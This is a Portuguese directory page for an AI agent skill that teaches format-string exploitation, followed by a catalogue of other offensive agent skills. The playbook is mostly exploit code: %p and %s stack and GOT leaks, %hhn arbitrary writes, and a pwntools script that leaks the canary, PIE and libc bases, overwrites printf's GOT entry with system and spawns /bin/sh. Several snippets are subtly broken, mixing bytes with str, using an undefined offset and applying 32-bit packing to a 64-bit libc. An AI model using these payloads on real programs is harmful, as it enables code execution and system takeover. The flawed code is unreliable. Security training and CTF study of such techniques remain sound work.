yaklang/exploração-de-string-de-formato

Manual de exploração de string de formato. Use quando funções da família printf recebem strings de formato controladas pelo usuário, permitindo leituras arbitrárias da pilha (%p/%s), escritas arbitrárias na memória (%n/%hn/%hhn), sobrescrita de GOT/hook e vazamento de canary/libc/PIE.

O que é exploração-de-string-de-formato?

Este manual fornece um guia completo para exploração de vulnerabilidades de string de formato. Ele é ativado quando funções como printf, sprintf e fprintf recebem strings de formato controladas pelo usuário. A partir disso, é possível realizar: leituras arbitrárias da pilha usando %p e %s para vazar informações como endereços, canários e libc; escritas arbitrárias na memória usando %n, %hn e %hhn para sobrescrever entradas da GOT (Global Offset Table) ou hooks; além de vazar PIE (Position Independent Executable) e outros ponteiros. A skill suporta ambientes Linux (x86 e x86_64) e Windows, e pode ser integrada com ferramentas como pwntools e GDB. Ela é útil para engenheiros de segurança e desenvolvedores que desejam entender ou mitigar esse tipo de ataque, oferecendo passos claros desde a identificação da vulnerabilidade até a exploração completa.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/format-string-exploitation

Installed? Explore more Programação e Desenvolvimento skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que exploração-de-string-de-formato faz?

Manual de exploração de string de formato. Use quando funções da família printf recebem strings de formato controladas pelo usuário, permitindo leituras arbitrárias da pilha (%p/%s), escritas arbitrárias na memória (%n/%hn/%hhn), sobrescrita de GOT/hook e vazamento de canary/libc/PIE.

Visão Geral

Esta habilidade documenta as técnicas para explorar vulnerabilidades de string de formato. O ataque explora o fato de que printf (e similares) usam a pilha para obter argumentos quando uma string de formato é fornecida. Se o invasor controla essa string, ele pode ler e escrever em posições arbitrárias da memória.

Pré-requisitos

  • Conhecimento básico de assembly (x86/x86_64)
  • Familiaridade com conceitos de segurança como GOT, PLT, canary e PIE
  • Ambiente Linux com pwntools e gdb instalados (ou equivalente no Windows)

Passos para Exploração

1. Identificação

Encontre um ponto onde uma função da família printf recebe entrada do usuário diretamente:

printf(user_input);  // Vulnerável

2. Descoberta de Offset

Determine o offset onde o primeiro argumento controlado aparece na pilha:

./vuln 'AAAA.%p.%p.%p.%p.%p'

Ou use pwntools:

from pwn import *

p = process('./vuln')
p.sendline(b'AAAA.%p.%p.%p.%p.%p')
print(p.recvline())

3. Leitura Arbitrária (Vazamento)

Use %s para ler strings em endereços específicos, ou %p para ler valores da pilha. Para vazar um endereço na GOT:

# Supondo que o offset seja 6
got_puts = 0x804c000  # Exemplo de endereço
payload = p32(got_puts) + b'%6$s'
p.sendline(payload)

4. Escrita Arbitrária (Sobrescrita)

Use %n, %hn ou %hhn para escrever valores:

got_printf = 0x804c010
system_plt = 0x8049030  # Endereço de system()

# Escreve system_plt byte por byte
payload = p32(got_printf) + p32(got_printf+1) + p32(got_printf+2)
payload += b'%' + str(system_plt & 0xff) + b'c%6$hhn'
payload += b'%' + str((system_plt >> 8) & 0xff) + b'c%7$hhn'
payload += b'%' + str((system_plt >> 16) & 0xff) + b'c%8$hhn'

5. Vazamento de Canary e PIE

  • Canary: Leia o canary da pilha (geralmente em um offset fixo) usando %p.
  • PIE: Vaze um endereço de retorno ou um ponteiro para código para calcular a base do binário.
  • libc: Vaze um endereço da GOT e subtraia do offset conhecido da libc.

Exemplo Completo (pwntools)

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')

# Vazamento de canary
p.sendline(b'%13$p')  # Ajuste o offset conforme necessário
canary = int(p.recvline(), 16)

# Vazamento de PIE
p.sendline(b'%11$p')
pie_leak = int(p.recvline(), 16)
elf.address = pie_leak - elf.symbols['main']

# Vazamento de libc
p.sendline(b'%7$s' + p32(elf.got['puts']))
puts_leak = u32(p.recv(4))
libc.address = puts_leak - libc.symbols['puts']

# Sobrescrita de GOT (exemplo: printf -> system)
got_printf = elf.got['printf']
system_addr = libc.symbols['system']

# Escreve system_addr em got_printf
payload = fmtstr_payload(offset, {got_printf: system_addr})
p.sendline(payload)

# Agora chamar printf com '/bin/sh' executa system('/bin/sh')
p.sendline(b'/bin/sh')
p.interactive()

Dicas e Boas Práticas

  • Use %n$p para acessar diretamente o n-ésimo argumento (ex: %7$p).
  • Para escritas, prefira %hhn (escreve 1 byte) para maior controle.
  • Ferramentas como pwntools possuem funções auxiliares como fmtstr_payload().
  • Sempre verifique a arquitetura (32 bits vs 64 bits) — os offsets podem variar.
  • Em 64 bits, o endereço deve estar na pilha já que não cabe em 4 bytes.

Plataformas Suportadas

  • Linux (x86 e x86_64)
  • Windows (com adaptações mínimas devido a diferenças na estrutura da pilha)

Referências

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Habilidades Relacionadas